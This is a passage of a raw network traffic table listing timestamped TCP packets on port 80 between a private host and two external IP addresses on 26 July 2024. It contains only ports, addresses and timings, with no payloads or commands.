Jul 26, 2024 08:24:50.373895884 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.373938084 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.374028921 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.374039888 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.374049902 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.374069929 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.374162912 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.374172926 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.374313116 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.374329090 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.374340057 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.374349117 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.374356031 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.374358892 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.374368906 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.374376059 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.374380112 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.374396086 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.374408960 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.374747992 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.374758005 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.374767065 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.374775887 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.374784946 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.374794006 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.374803066 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.374813080 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.374819994 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.374823093 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.374833107 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.374836922 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.374882936 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.375313997 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.375324011 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.375333071 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.375336885 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.375346899 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.375355959 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.375364065 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.375366926 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.375375032 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.375384092 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.375386000 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.375394106 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.375403881 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.375416040 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.375432968 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.375953913 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.375965118 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.375972986 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.375982046 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.375991106 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.375998020 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.375999928 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376008987 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376008987 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.376018047 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376027107 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376030922 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.376035929 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376043081 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.376044989 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376054049 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376063108 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376066923 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.376072884 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376096010 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.376113892 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.376710892 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376720905 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376729965 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376739025 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376748085 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376749992 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.376758099 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376768112 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376775980 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376779079 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.376786947 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376796007 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376802921 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.376806021 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376811028 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.376816034 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376825094 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376832962 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376838923 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.376842976 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376849890 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.376852036 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376869917 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.376872063 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.376912117 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.377563000 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.377573967 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.377583981 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.377593994 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.377603054 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.377612114 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.377619028 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.377619028 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.377623081 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.377629042 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.377633095 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.377685070 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.377690077 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.377701044 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.377708912 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.377717972 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.377726078 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.377732038 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.377734900 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.377743959 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.377748966 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.377753019 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.377772093 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.377779961 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.378456116 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.378467083 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.378474951 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.378484011 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.378493071 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.378515005 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.378523111 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.378535032 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.378546000 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.378551006 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.378556013 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.378560066 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.378560066 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.378575087 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.378586054 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.378592014 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.378602028 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.378612041 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.378622055 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.378631115 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.378659010 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.378659010 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.424134016 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.424151897 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.424165010 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.424175024 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.424177885 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.424206018 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.424242973 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.424253941 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.424264908 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.424284935 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.460573912 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.460592985 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.460616112 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.460623980 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.460650921 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.460664988 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.460675955 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.460683107 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.460690022 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.460695028 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.460763931 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.460916996 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.460928917 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.460941076 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.460952997 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.460966110 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.460969925 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.460978985 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.460984945 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.460990906 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.461002111 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.461010933 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.461014986 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.461033106 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.461421013 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.461432934 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.461445093 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.461457014 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.461467981 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.461467981 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.461478949 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.461482048 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.461491108 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.461500883 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.461512089 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.461523056 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.461527109 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.461548090 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.461858034 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.461903095 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.462040901 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.462052107 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.462061882 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.462071896 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.462083101 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.462083101 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.462091923 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.462102890 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.462106943 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.462112904 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.462121964 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.462126970 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.462132931 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.462140083 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.462142944 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.462153912 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.462174892 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.462188005 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.462629080 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.462641001 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.462651968 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.462661982 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.462672949 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.462672949 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 08:24:50.462698936 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.671314955 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:24:50.883414984 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:50.890597105 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:50.890665054 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:50.890721083 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:50.896203041 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.409590960 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.409614086 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.409634113 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.409646034 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.409655094 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.409657955 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.409668922 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.409681082 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.409682035 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.409693956 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.409841061 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.409852982 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.409863949 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.409893036 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.414526939 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.414573908 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.414583921 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.414597988 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.414617062 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.521419048 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.521437883 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.521450043 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.521485090 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.521503925 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.521516085 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.521552086 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.521744967 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.521801949 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.521816969 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.521840096 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.521913052 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.521924019 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.521967888 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.522660971 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.522702932 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.522713900 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.522737980 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.522819996 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.522830963 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.522866964 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.523536921 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.523576021 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.523610115 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.523627043 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.523638010 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.523669958 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.523725033 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.524414062 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.524440050 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.524449110 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.524458885 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.524507999 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.526299953 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.610287905 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.610312939 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.610321999 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.610328913 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.610338926 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.610349894 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.610441923 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.610457897 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.610485077 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.610495090 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.610606909 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.610646963 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.610647917 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.617083073 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.617101908 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.617113113 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.617149115 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.617187977 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.617209911 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.617232084 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.617286921 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.617297888 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.617306948 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.617326975 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.617487907 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.617497921 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.617507935 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.617526054 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.617621899 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.617664099 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.618237019 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.618258953 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.618268967 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.618302107 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.618381977 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.618391991 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.618424892 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.618488073 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.618496895 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.618534088 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.618979931 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.619031906 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.619043112 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.619071007 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.619208097 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.619218111 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.619229078 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.619244099 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.619246006 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.619276047 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.619314909 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.620014906 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.620059013 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.620060921 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.620076895 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.620115042 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:51.706017971 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.706053972 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.706064939 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:51.706126928 CEST	80	49172	192.227.225.166	192.168.2.22
